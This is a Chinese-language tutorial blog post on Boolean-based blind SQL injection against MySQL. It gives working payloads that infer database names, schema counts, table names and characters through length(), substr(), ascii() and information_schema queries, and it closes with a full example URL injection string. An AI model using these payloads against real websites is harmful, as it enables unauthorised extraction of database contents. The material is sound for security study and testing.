SQL注入【七】——Boolean注入

发布于 2020-07-15  394 次阅读


基本注入流程

有些人以为布尔盲注就是页面或者返回结果数据包中带有yes或者no,其实这种说法不正确

0x01 判断注入点类型

  • 数字型
  • 字符型

如果是字符型还得通过闭合,具体可以查看我之前的文章数字型和字符型

0x02 获取数据库库名

1. 判断当前数据库库名长度

length():判断字符长度

利用and length(database())

不断去构造条件,如:

and length(database())>10
and length(database())>=10
and length(database())=8

直到页面返回结果为true就确定了数据库长度

2.爆数据库名

获得当前数据库名

substr(database(),起始位置,截取的长度)=

ascii():将字符转换成ascii码

ord():将字符转换成ascii码,和ascii()效果一样

例:
substr(database(),1,1)='a'
/*表示截取当前数据库名的第一个字符,并判断其是否为a*/
substr(database(),2,1)='b'
/*表示截取当前数据库名的第二个字符,并判断其是否为a*/
/*注意字符型得加引号*/

然后就依此尝试,直到获取到完整的数据库名

也可以ascii()
截取数据库名的第一个字母:
            and ascii(substr(database(),1,1))=8
            再将得到的数字,用ascii码 编码转换器,解码成对应的字母

注意:

  • 由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。
  • 和limit的从0开始不同,它是从1开始

如果要获得其他数据库名

判断mysql中数据库的数量:

and (select count(*) from information_schema.schemata)=1

通过不断替换数字得出正确的长度,也可用大于小于等确定范围

判断第一个数据库名的长度:

and (select length(schema_name) from information_schema.schemata limit 0,1)=1
/*通过替换1来获取具体长度,也可用大于小于等确定范围*/

判断第一个数据库名的第一个字符:

and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='a'
/*通过替换a来获取具体字符,也可用大于小于等确定范围*/
或者:
and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=1
/*通过替换1来获取具体字符,也可用大于小于等确定范围*/
由于测试工程量大,所有可以借助如burpsuite等工具进行

0x03 获取所有表名

1.统计当前数据库表名个数

and (select count(*) from information_schema.tables where table_schema=database())=1
/*通过替换1来获取具体字符,也可用大于小于等确定范围*/

最终得到了当前数据库下表名的个数

2.爆破当前数据库表名

and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'
/*通过控制limit来指定表名,例如limit 0,1:表示第一个表名,limit 1,1:表示第二个表名*/

依此尝试,直到获取所有的表名

0x04.获取指定表名下的字段名

1.统计当前表名下的字段数

2.爆破当前表名下的字段名

0x05.获取指定字段下的值

1.统计当前字段名下的数据个数

2.爆破当前段名下的数据

简化步骤方法

ascii():将字符转换成ascii码

因为ASCII码为数字,所以我们可以使用< > <=等符号来加快判断速度

例如:

?id=1' and (select ascii(substr(schema_name,1,1)) from information_schema.schemata limit 0,1)=105 --+

当判断出了ASCII的值后,可用python来将其转化为字符

再利用好burpsuite工具实现批量测试


一个热爱技术的白帽子